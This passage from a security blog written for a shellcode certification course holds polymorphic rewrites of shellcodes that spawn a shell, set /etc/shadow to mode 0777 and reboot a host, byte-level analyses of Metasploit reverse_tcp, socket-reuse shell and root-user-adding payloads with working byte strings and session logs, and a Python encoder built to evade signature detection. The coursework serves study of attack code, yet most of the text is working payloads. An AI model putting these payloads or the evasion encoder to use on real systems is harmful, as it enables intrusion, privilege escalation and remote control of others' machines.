00000012 682F2F6269 push dword 0x69622f2f
00000017 89E3 mov ebx,esp
00000019 8D542408 lea edx,[esp+0x8]
0000001D 50 push eax
0000001E 53 push ebx
0000001F 8D0C24 lea ecx,[esp]
00000022 B00B mov al,0xb
00000024 CD80 int 0x80
00000026 31C0 xor eax,eax
00000028 B001 mov al,0x1
0000002A CD80 int 0x80
</pre>
And my changed version :
<br />
<pre class="brush:asm"> xor eax,eax
mov ebx, eax ; xor ebx,ebx
mov ecx, ebx ; xor ecx,ecx
push 0x17 ; mov al,0x17
pop ax
xchg ecx, ecx ; NOP added
int 0x80 ; sys_setuid()
xor eax,eax
push eax
mov dword [esp-4], 0x68732f6e ; push dword 0x68732f6e
mov dword [esp-8], 0x69622f2f ; push dword 0x69622f2f
sub esp, 8 ; increase the stack pointer
mov ebx,esp
lea edx,[esp+0x8]
push eax
push ebx
lea ecx,[esp]
mov al,0xb
xor esi, esi ; NOP added
lea eax, [eax + esi] ; NOP added
int 0x80 ; execve()
xor eax,eax
mov al,0x1
int 0x80 ; exit()
</pre>
I've changed how registers are zeroed and how values were pushed on the stack and added some instructions with no effect.
<br />
<h4>
Chmod /etc/shadow </h4>
The next <a href="http://shell-storm.org/shellcode/files/shellcode-828.php">shellcode </a>changes the permissions of /etc/shadow file:
<br />
<pre class="brush:asm">xor %eax,%eax
push %eax
pushl $0x776f6461
pushl $0x68732f2f
pushl $0x6374652f
movl %esp,%esi
push %eax
pushl $0x37373730
movl %esp,%ebp
push %eax
pushl $0x646f6d68
pushl $0x632f6e69
pushl $0x622f2f2f
mov %esp,%ebx
pushl %eax
pushl %esi
pushl %ebp
pushl %ebx
movl %esp,%ecx
mov %eax,%edx
mov $0xb,%al
int $0x80
</pre>
And my changed version:
<br />
<pre class="brush:asm"> xor eax,eax
push eax
push dword 0x776f6461
mov esi, 0x56611d1d ; push dword 0x68732f2f
lea edi, [esi] ; junk
add esi, 0x12121212
push esi
push dword 0x6374652f ; '/etc/shadow'
mov esi,esp
push eax
push dword 0x37373730 ; 0777
mov ebp,esp
push eax
push dword 0x646f6d68
mov edi, 0x030f0e09 ; push dword 0x632f6e69
add edi, 0x60206060
push edi
push word 0x622f ; /bin/chmod
mov ebx,esp
push eax
push esi
push ebp
push ebx
mov ecx,esp
mov edx,eax
xor eax, eax ; mov al,0xb
add al, 0xa
add al, 0x1
xchg ecx, ecx ; NOP added
int 0x80
</pre>
<br />
<h4>
Reboot</h4>
Last one is a <a href="http://shell-storm.org/shellcode/files/shellcode-69.php">reboot shellcode</a>:
<br />
<pre class="brush:asm">8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 62 6f 6f 74 push $0x746f6f62
804805c: 68 6e 2f 72 65 push $0x65722f6e
8048061: 68 2f 73 62 69 push $0x6962732f
8048066: 89 e3 mov %esp,%ebx
8048068: 50 push %eax
8048069: 89 e2 mov %esp,%edx
804806b: 53 push %ebx
804806c: 89 e1 mov %esp,%ecx
804806e: b0 0b mov $0xb,%al
8048070: cd 80 int $0x80
</pre>
And my modified version:
<br />
<pre class="brush:asm"> xor eax,eax
push eax
push dword 0x746f6f62
mov edi, 0x05020f0e ; push dword 0x65722f6e
add edi,0x60702060
push edi
push dword 0x6962732f ; /sbin/reboot
mov ebx,esp
push eax
mov edx,esp
push ebx
mov ecx,esp
push 0xa
pop eax
add al, 1 ; mov al,0xb
int 0x80
</pre>
<br />
The complete source files and scripts mentioned in this post can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com1tag:blogger.com,1999:blog-5110749938849380105.post-10015397001343382542013-08-04T18:53:00.000+03:002013-08-04T18:53:02.587+03:00Metasploit Linux meterpreter/reverse_tcp shellcodeThis post is part of the 5th assignment of the SLAE course and will analyse another Metasploit shellcode: <b><i>meterpreter/reverse_tcp</i></b>.<br />
First we'll check the description of this shellcode:
<br />
<pre class="brush:plain; highlight: [26]"># msfpayload linux/x86/meterpreter/reverse_tcp S
Name: Linux Meterpreter, Reverse TCP Stager
Module: payload/linux/x86/meterpreter/reverse_tcp
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 178
Rank: Normal
Provided by:
PKS
egypt <egypt@metasploit.com>
skape <mmiller@hick.org>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST yes The listen address
LPORT 4444 yes The listen port
PrependFork no Add a fork() / exit_group() (for parent) code
Description:
Connect back to the attacker, Staged meterpreter server
</pre>
To test it, we'll insert the 1st stage payload into the skeleton tester file:
<br />
<pre class="brush:c"># msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 C
/*
* linux/x86/meterpreter/reverse_tcp - 71 bytes (stage 1)
* http://www.metasploit.com
* VERBOSE=false, LHOST=192.168.56.101, LPORT=4444,
* ReverseConnectRetries=5, ReverseAllowProxy=false,
* EnableStageEncoding=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, AutoLoadStdapi=true,
* InitialAutoRunScript=, AutoRunScript=, AutoSystemInfo=true,
* EnableUnicodeEncoding=true, PrependFork=false,
* DebugOptions=0
*/
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a"
"\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10"
"\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b"
"\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1";
/*
* linux/x86/meterpreter/reverse_tcp - 1126400 bytes (stage 2)
* http://www.metasploit.com
*/
unsigned char buf[] =
"\x7f\x45\x4c\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x02\x00\x03\x00\x01\x00\x00\x00\x05\xfe\x04\x20\x34\x00"
. . .
</pre>
We don't care about the 2nd stage because it will be transmitted to the client after connection.
Then start a multi handler which will receive the connection and send the 2nd stage payload:
<br />
<pre class="brush:bash; highlight:[14,15,17]">msf exploit(handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (linux/x86/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
DebugOptions 0 no Debugging options for POSIX meterpreter
LHOST 192.168.56.101 yes The listen address
LPORT 4444 yes The listen port
msf exploit(handler) > exploit -j -z
</pre>
We send the compiled stage 1:
<br />
<pre class="brush:bash">$ ./shellcode
Shellcode Length: 24 bytes
(Shellcode contains null bytes)
</pre>
And we get in the handler:
<br />
<pre class="brush:plain; highlight:[3,4]">msf exploit(handler) >
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1126400 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.101:4444 -> 192.168.56.1:33626) at 2013-07-21 21:21:08 +0100
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000, suid=1000, sgid=1000
</pre>
So the shellcode is working as expected. We proceed to analyse the payload with the shellcode tester from <a href="http://libemu.carnivore.it/">libemu</a>:
<br />
<pre class="brush:bash"># msfpayload linux/x86/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=4444 R > shellcode.bin
# ls -al shellcode.bin
-rwxrwx--- 1 root vboxsf 71 Jul 21 21:25 shellcode.bin
(71 bytes. It's stage 1)
$ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dot
</pre>
And there's the first part of the shellcode that it was possible to be decoded by the emulator:
<br />
<pre class="brush:c">int socket (
int domain = 2;
int type = 1;
int protocol = 0;
) = 14;
int connect (
int sockfd = 14;
struct sockaddr_in * serv_addr = 0x00416fbe =>
struct = {
short sin_family = 2;
unsigned short sin_port = 23569 (port=4444);
struct in_addr sin_addr = {
unsigned long s_addr = 1698212032 (host=192.168.56.101);
};
char sin_zero = " ";
};
int addrlen = 102;
) = 0;
</pre>
Here we see clearly the initial syscalls and their parameters. We can also view the same information graphically:
<br />
<pre class="brush:bash">$ dot shellcode.dot -T png -o shellcode.png
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4zBV_-Qb3B0iIr-t4wQou85VkgzJyzoENUcJeeB8By4e2LM-7rkXS2c4ZW9Qi9D_gCoGTEte90V72ysZ490dLVWXlYhvyXxxkOnEARa8rDE_VEjoZP0T35Bj3I6nF_7XfWOkXXANLP4/s1600/shellcode.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiG4zBV_-Qb3B0iIr-t4wQou85VkgzJyzoENUcJeeB8By4e2LM-7rkXS2c4ZW9Qi9D_gCoGTEte90V72ysZ490dLVWXlYhvyXxxkOnEARa8rDE_VEjoZP0T35Bj3I6nF_7XfWOkXXANLP4/s400/shellcode.png" width="320" /></a></div>
Finally we'll manually analyse the shellcode to understand the complete functionality. To disassemble it:
<br />
<pre class="brush:bash">$ echo -ne "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x38\x65\x68\x02\x00\x11\x5c\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\xc1\xeb\x0c\xc1\xe3\x0c\xb0\x7d\xcd\x80\x5b\x89\xe1\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1" | ndisasm -b 32 -
</pre>
The first operation is, as we've seen previously, a socket call:
<br />
<pre class="brush:asm">; man 2 socket
; int socket(int domain, int type, int protocol);
; Parameters can be viewed with strace commnad
; socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
00000000 31DB xor ebx,ebx ; Zero out ebx
00000002 F7E3 mul ebx ; Zero out eax
00000004 53 push ebx ; Protocol - IPPROTO_IP (0)
00000005 43 inc ebx ; int call - SYS_SOCKET (1)
00000006 53 push ebx ; Type - SOCK_STREAM (1)
00000007 6A02 push byte +0x2 ; Domain - AF_INET (2)
00000009 B066 mov al,0x66 ; sys_socketcall
0000000B 89E1 mov ecx,esp ; Parameters
0000000D CD80 int 0x80 ; Fire up the interrupt
</pre>
Next is the connect call, which was also executed by the emulator:
<br />
<pre class="brush:asm">; connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.56.101")}, 102)
0000000F 97 xchg eax,edi ; fd is returned, then stored into edi
00000010 5B pop ebx ; ebx is 2
00000011 68C0A83865 push dword 0x6538a8c0
00000016 680200115C push dword 0x5c110002
0000001B 89E1 mov ecx,esp
0000001D 6A66 push byte +0x66 ; sys_socketcall
0000001F 58 pop eax
00000020 50 push eax
00000021 51 push ecx
00000022 57 push edi ; push first param - the fd
00000023 89E1 mov ecx,esp
00000025 43 inc ebx ; int call - SYS_CONNECT (3)
00000026 CD80 int 0x80
</pre>
Next operations were not executed by the emulator. Following is an mprotect call, which sets protection on a region of memory. The function has the following syntax:
<br />
<pre class="brush:c">int mprotect(const void *addr, size_t len, int prot);
</pre>
The parameters of the call can be easily viewed with the strace utility:
<br />
<pre class="brush:c">mprotect(0xbff7e000, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) = 0
</pre>
The defines have the following values:<br />
<span style="font-family: "Courier New",Courier,monospace;">PROT_READ 0x1 </span><br />
<span style="font-family: "Courier New",Courier,monospace;">PROT_WRITE 0x2 </span><br />
<span style="font-family: "Courier New",Courier,monospace;">PROT_EXEC 0x4 </span><br />
And if we verify with the assembly code:
<br />
<pre class="brush:asm">00000028 B207 mov dl,0x7 ; PROT_READ|PROT_WRITE|PROT_EXEC
0000002A B900100000 mov ecx,0x1000 ; 4096
0000002F 89E3 mov ebx,esp
00000031 C1EB0C shr ebx,0xc
00000034 C1E30C shl ebx,0xc
00000037 B07D mov al,0x7d ; sys_mprotect
00000039 CD80 int 0x80
</pre>
The final part of the shellcode is, as expected, the read call, which will get the 2nd stage payload from the server, and then execute it:
<br />
<pre class="brush:asm">; man 2 read
; read - read from a file descriptor
; ssize_t read(int fd, void *buf, size_t count);
0000003B 5B pop ebx ; fd to read from; pushed at 'push edi' line
0000003C 89E1 mov ecx,esp ; buffer
0000003E 99 cdq
0000003F B60C mov dh,0xc ; count - a lot of data to be read...
00000041 B003 mov al,0x3 ; sys_read
00000043 CD80 int 0x80
00000045 FFE1 jmp ecx ; the buffer thathas been read. execute it
</pre>
<br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-5110749938849380105.post-29668463096359041192013-08-04T18:51:00.000+03:002013-08-04T18:51:52.405+03:00Metasploit Linux shell_find_port shellcodeThis post is part of the 5th assignment of the SLAE course and will analyse a Metasploit socket reuse shellcode: <b><i>linux/x86/shell_find_port</i></b>. <br />
I've started by analysing this payload:
<br />
<pre class="brush:bash; highlight:[21]"># msfpayload linux/x86/shell_find_port S
Name: Linux Command Shell, Find Port Inline
Module: payload/linux/x86/shell_find_port
Version: 0
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 169
Rank: Normal
Provided by:
Ramon de C Valle <rcvalle metasploit.com>
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CPORT 60957 no The local client port
Description:
Spawn a shell on an established connection
</pre>
So this is actually a port reuse shellcode: it will search for an already established connection (based on the local client port specified in CPORT variable) and spawn a shell over that connection. Nice!
There is a great description of how this payload functions at <a href="http://www.blackhatlibrary.net/Shellcode/Socket-reuse">BlachatLibrary</a>.<br />
Basically to test this payload we'll need:<br />
<ul>
<li>A server that listens for connections and also executes payloads </li>
<li>A client that will establish a connection with the server from a fixed local port, then send our metasploit shellcode. </li>
</ul>
For this we'll use the <a href="http://www.blackhatlibrary.net/Shellcode/Appendix#socket-loader.c">socket-loader.c</a> and <a href="http://www.blackhatlibrary.net/Shellcode/Appendix#socket-reuse-send.c">socket-reuse-send.c</a> from BlackhatLibrary.<br />
We'll first compile and start the server:
<br />
<pre class="brush:bash">$ gcc -Wall -o socket-loader socket-loader.c
$ ./socket-loader 7001
</pre>
Then generate the metasploit payload and integrate it into the socket-reuse-send source file:
<br />
<pre class="brush:c"># msfpayload linux/x86/shell_find_port CPORT=4444 C
/*
* linux/x86/shell_find_port - 62 bytes
* http://www.metasploit.com
* VERBOSE=false, CPORT=4444, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, InitialAutoRunScript=, AutoRunScript=
*/
unsigned char buf[] =
"\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff"
"\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x11\x5c\x75\xf1\x5b"
"\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b"
"\xcd\x80";
# gcc -Wall -o socket-reuse-send socket-reuse-send.c
</pre>
The syntax for client is as follows:<br />
<span style="font-family: "Courier New",Courier,monospace;">./socket-reuse-send <server_ip> <server_port> <client_ip> <local_client_port></span><br />
So the next line will connect to the server listening on port 7001 and send the payload generated earlier from the local port 4444. The payload will then be executed by the server and we'll get a shell:
<br />
<pre class="brush:bash"># ./socket-reuse-send 192.168.56.1 7001 192.168.56.101 4444
[*] Connecting to 192.168.56.1
[*] Sending payload
whoami
liv
</pre>
So the payload is working as expected, now onto analysis. We'll first try to use the sctest binary from libemu:
<br />
<pre class="brush:bash"># msfpayload linux/x86/shell_find_port CPORT=4444 R > shellcode.bin
$ cat shellcode.bin | /opt/libemu/bin/sctest -vvv -S -s 1000 -G shellcode.dot
$ dot shellcode.dot -T png -o shellcode.png
</pre>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4Ki_lYX-AqV3X3HiR9WbLYnFZUJQ0pfxY1NFAYL99uWYRLFm90FbsCI18E1-XZ0xhfTVHRwZvKeYplNkjZ9pbUhQxMAPja7lTvmz7JXK6sJabrRQHqJQVeeYbG3WsV8JX3QM0T7PdgPw/s1600/shellcode.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4Ki_lYX-AqV3X3HiR9WbLYnFZUJQ0pfxY1NFAYL99uWYRLFm90FbsCI18E1-XZ0xhfTVHRwZvKeYplNkjZ9pbUhQxMAPja7lTvmz7JXK6sJabrRQHqJQVeeYbG3WsV8JX3QM0T7PdgPw/s400/shellcode.png" width="400" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">shell_find_port shellcode</td></tr>
</tbody></table>
<br />
This way we can get a feeling about how this shellcode is functioning. As we'll see later, there is a final piece missing from the picture, because the sctest emulator is not leaving the loop (marked with red arrows).<br />
We'll use a disassembler to examine all the instructions:
<br />
<pre class="brush:bash">$ echo -ne "\x31\xdb\x53\x89\xe7\x6a\x10\x54\x57\x53\x89\xe1\xb3\x07\xff\x01\x6a\x66\x58\xcd\x80\x66\x81\x7f\x02\x11\x5c\x75\xf1\x5b\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" | ndisasm -b 32 -
</pre>
First operation done by a server is, as seen in the picture, to execute <a href="http://linux.die.net/man/2/getpeername">getpeername</a> in a loop. This will try to obtain information about a peer connected to a specific file descriptor.
<br />
<pre class="brush:c">int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
</pre>
<pre class="brush:asm">00000000 31DB xor ebx,ebx
00000002 53 push ebx
00000003 89E7 mov edi,esp
00000005 6A10 push byte +0x10 ; addrlen
00000007 54 push esp ; *addrlen
00000008 57 push edi ; *addr
00000009 53 push ebx ; sockfd to search
0000000A 89E1 mov ecx,esp
0000000C B307 mov bl,0x7 ; int call - SYS_GETPEERNAME (7)
getpeername_loop:
0000000E FF01 inc dword [ecx] ; increment fd to be checked
00000010 6A66 push byte +0x66 ; sys_socketcall
00000012 58 pop eax
00000013 CD80 int 0x80
</pre>
The next part we'll check for a specific condition for any file descriptor found: it will verify the source port and if it's different than 4444 we'll increment the file descriptor and re-execute the loop:
<br />
<pre class="brush:asm">; 115c(hex) = 4444 (dec)
; compare port
; struct sockaddr_in {
short sin_family; // e.g. AF_INET, AF_INET6
unsigned short sin_port; // e.g. htons(3490)
struct in_addr sin_addr; // see struct in_addr, below
char sin_zero[8]; // zero this if you want to
};
00000015 66817F02115C cmp word [edi+0x2],0x5c11
; if not, jump to getpeername_loop
0000001B 75F1 jnz 0xe
</pre>
In case a connection was found with the source port equal to 4444, it will execute in a loop 3 dup2 calls, and duplicate stdin, stdout and stderr to the found file descriptor:
<br />
<pre class="brush:asm">0000001D 5B pop ebx ; old fd parameter;
0000001E 6A02 push byte +0x2 ;
00000020 59 pop ecx ; new fd
dup2_loop:
00000021 B03F mov al,0x3f ; sys_dup2 syscall
00000023 CD80 int 0x80
00000025 49 dec ecx
00000026 79F9 jns 0x21 ; if not -1, jump to dup2_loop label
</pre>
The final piece of the shellcode executes /bin/sh:
<br />
<pre class="brush:asm">00000028 50 push eax
00000029 682F2F7368 push dword 0x68732f2f ; 'hs//'
0000002E 682F62696E push dword 0x6e69622f ; 'nib/'
00000033 89E3 mov ebx,esp ; '/bin/sh\x00'
00000035 50 push eax
00000036 53 push ebx
00000037 89E1 mov ecx,esp ; address of the parameters array
00000039 99 cdq
0000003A B00B mov al,0xb ; sys_execve
0000003C CD80 int 0x80
</pre>
The complete source files and scripts mentioned in this post can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-5110749938849380105.post-31439608835721685942013-08-04T18:50:00.000+03:002013-08-04T18:50:12.923+03:00Metasploit Linux adduser shellcode analysisThis post is part of the 5th assignment of the SLAE course and will analyse the Metasploit <b><i>linux/x86/adduser</i></b> shellcode. <br />
First let's generate the shellcode:
<br />
<pre class="brush:bash"># msfpayload linux/x86/adduser USER=jsmith PASS=ok C
</pre>
This will generate a payload that will create a new root user, with uid and gid equal to 0.
<br />
<pre class="brush:c; highlight:[8]">/*
* linux/x86/adduser - 93 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependSetresuid=false,
* PrependSetreuid=false, PrependSetuid=false,
* PrependSetresgid=false, PrependSetregid=false,
* PrependSetgid=false, PrependChrootBreak=false,
* AppendExit=false, USER=jsmith, PASS=ok, SHELL=/bin/sh
*/
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73"
"\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d"
"\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e"
"\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01"
"\x58\xcd\x80";
</pre>
To test it, I've integrated the shellcode into a C skeleton file and run against a Linux box:
<br />
<pre class="brush:bash"># cat /etc/passwd | grep jsmith
# ./shellcode
Shellcode Length: 40 bytes
# cat /etc/passwd | grep jsmith
jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh
# su jsmith
# id
uid=0(root) gid=0(root) groups=0(root)
</pre>
As we can see, the new root user was successfully created. Next I continued to disassemble it:
<br />
<pre class="brush:bash">$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x24\x00\x00\x00\x6a\x73\x6d\x69\x74\x68\x3a\x41\x7a\x2e\x54\x4f\x53\x72\x67\x72\x4d\x36\x72\x6f\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" |ndisasm -b 32 -
</pre>
Firstly, the shellcode restores the privileges, in case the running process would have dropped them:
<br />
<pre class="brush:asm">00000000 31C9 xor ecx,ecx ; Effective user id - 0
00000002 89CB mov ebx,ecx ; Real user id - 0
00000004 6A46 push byte +0x46 ; sys_setreuid16 syscall number
00000006 58 pop eax ; Sets real and effective user id
00000007 CD80 int 0x80 ; Fire the interrupt
</pre>
Next, it will open the /etc/passwd file. The flags for opening the file will be set to <span style="font-family: "Courier New",Courier,monospace;">0x00000401</span>: <span style="font-family: "Courier New",Courier,monospace;">O_WRONLY|O_APPEND</span>. (<i>Note1: the mode for opening the file, which should have been in EDX register, is not specified because it is ignored for <span style="font-family: "Courier New",Courier,monospace;">O_CREAT</span> flag not specified</i>):
<br />
<pre class="brush:asm">00000009 6A05 push byte +0x5
0000000B 58 pop eax ; Prepare eax for sys_open syscall
0000000C 31C9 xor ecx,ecx ; Set ecx to 0
0000000E 51 push ecx ; Push 0 to act as a null terminator
0000000F 6873737764 push dword 0x64777373 ; 'dwss'
00000014 682F2F7061 push dword 0x61702f2f ; 'ap//'
00000019 682F657463 push dword 0x6374652f ; 'cte/'
0000001E 89E3 mov ebx,esp ; Filename: '/etc//passwd'
00000020 41 inc ecx
</pre>
<i>Note2: the open syscall and the parameters can also be easily viewed using strace program</i>:
<br />
<pre class="brush:bash"># strace ./shellcode
. . .
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
</pre>
The next part will write the "<b>jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n</b>" string to it (username and encrypted password):
<br />
<pre class="brush:asm">00000025 93 xchg eax,ebx
00000026 E824000000 call dword 0x4f
; String starts here -->
; jsmith:Az.TOSrgrM6ro:0:0::/:/bin/sh\n
0000002B 6A73 push byte +0x73
0000002D 6D insd
0000002E 6974683A417A2E54 imul esi,[eax+ebp*2+0x3a],dword 0x542e7a41
00000036 4F dec edi
00000037 53 push ebx
00000038 7267 jc 0xa1
0000003A 724D jc 0x89
0000003C 36726F ss jc 0xae
0000003F 3A30 cmp dh,[eax]
00000041 3A30 cmp dh,[eax]
00000043 3A3A cmp bh,[edx]
00000045 2F das
00000046 3A2F cmp ch,[edi]
00000048 62696E bound ebp,[ecx+0x6e]
0000004B 2F das
0000004C 7368 jnc 0xb6
0000004E 0A. |--> String ends here
</pre>
We then have to disassemble the instructions starting after the end of string (easily done in gdb):
<br />
<pre class="brush:asm">00000051 51 push ecx
00000052 FC cld
00000053 6A04 push byte +0x4
00000055 58 pop eax ; sys_write syscall
00000056 CD80 int 0x80
; write(3, "jsmith:Az.TOSrgrM6ro:0:0::/:/bin"..., 36) = 36
</pre>
Finally the shellcode calls the exit function to cleanly finish execution:
<br />
<pre class="brush:asm">00000058 6A01 push byte +0x1
0000005A 58 pop eax ; sys_exit syscall
0000005B CD80 int 0x80
</pre>
<br />
The complete source files and scripts mentioned in this post can be found in the Git repository:<br />
<a href="https://github.com/pennypecker/slae">SLAE</a><br />
<br />
<b><span style="font-size: x-small;"><i>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: </i></span></b><br />
<b><span style="font-size: x-small;"><i>www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ <br />Student ID: SLAE- 449</i></span> </b>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-5110749938849380105.post-44910864127159583352013-08-04T18:49:00.000+03:002013-08-04T18:49:12.249+03:00Custom encoding scheme For the 4th assignment of <a href="http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/">SLAE</a>, I've made a custom encoding scheme, with the same purpose as the insertion encoder: avoid signature detection by inserting garbage bytes into the shellcode.<br />
<br />
The encoding scheme is as follows: we start from a working shellcode and insert garbage blocks, containing a random garbage byte and the offset to the next garbage block.<br />
The distance between the garbage blocks is a random value between 2 modifiable limits. In this way we can control the final length of the shellcode and the amount of garbage inserted:<br />
<br />
The encoded shellcode will look like this:<br />
<span style="font-family: "Courier New",Courier,monospace;">---------------------------------------------------------<br />| n0 | . . .| b1 | n1 | . . . . .| b2 | n2 | . . . |END |<br />---------------------------------------------------------<br /><br />ni - next garbage byte position<br />bi - garbage byte <br />END - END of the shellcode marker</span><br />
<br />
The encoding is done in a short python script:<br />
<pre class="brush:python">#!/usr/bin/python
'''
Python Insertion Encoder
'''
import random
# Execve-stack shellcode - execve(/bin/sh,..)
shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")
encoded = ""
idx = 1
# Control the frequency of garbage through a displacement
MIN_DEP = 3 # min number of shellcode bytes after which to inject garbage
MAX_DEP = 4 # max ...
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % n
END = "\\xf0\\x0d"
for x in bytearray(shellcode) :
if idx == n:
# We have reached an insertion point
dep = random.randint(MIN_DEP, MAX_DEP)
n = idx + dep
encoded += '\\x%02x' % random.randint(1,255)
encoded += '\\x%02x' % n
idx += 2
# Add a shellcode byte
encoded += '\\x%02x' % x
idx += 1
encoded += END
print encoded
# Print in nasm friendly form
print encoded.replace("\\x", ",0x")[1:]
print 'Initial len: %d, encoded len: %d' % (len(shellcode),
len(encoded)/4)
</pre>
The decoding is done in the assembly shellcode:
<br />
<pre class="brush:asm">global _start
section .text
_start:
jmp short call_shellcode
decoder:
pop esi ; beginning of the encoded shellcode
lea edi, [esi] ; shellcode decoded in place. Edi - dest pointer
xor eax, eax
mov al, byte [esi] ; position of next garbage byte
xor ebx, ebx
push 1 ; index into the shellcode
pop ecx
decode:
cmp ecx, eax
jnz short shellcode_byte ; shellcode byte found
add ecx, 2 ; garbage byte found. Advance 2 bytes
mov al, byte [esi + eax + 1]; position of next garbage byte
